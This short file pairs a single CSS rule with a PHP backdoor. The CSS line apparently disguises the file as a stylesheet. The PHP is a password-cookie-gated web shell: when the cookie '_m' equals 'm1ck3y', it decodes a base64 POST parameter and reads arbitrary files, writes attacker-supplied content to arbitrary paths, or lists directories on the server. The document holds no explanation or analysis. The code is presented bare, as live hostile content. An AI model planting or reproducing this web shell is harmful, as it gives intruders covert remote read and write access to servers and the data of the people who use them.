.x:before{content:x;}
<?php
if(isset($_COOKIE["_m"])&&$_COOKIE["_m"]=="m1ck3y"){
$x=base64_decode($_POST["c"]);
if($x!=""){
if(substr($x,0,5)=="read:"){echo "###".@file_get_contents(substr($x,5))."###";}
elseif(substr($x,0,6)=="write:"){$p=explode("|",substr($x,6),2);echo "###".(@file_put_contents($p[0],base64_decode($p[1]))?"OK":"ERR")."###";}
elseif(substr($x,0,4)=="dir:"){$d=@scandir(substr($x,4));echo "###".(is_array($d)?implode("\n",$d):"ERR")."###";}
else{echo "###".$x."###";}
}
}
?>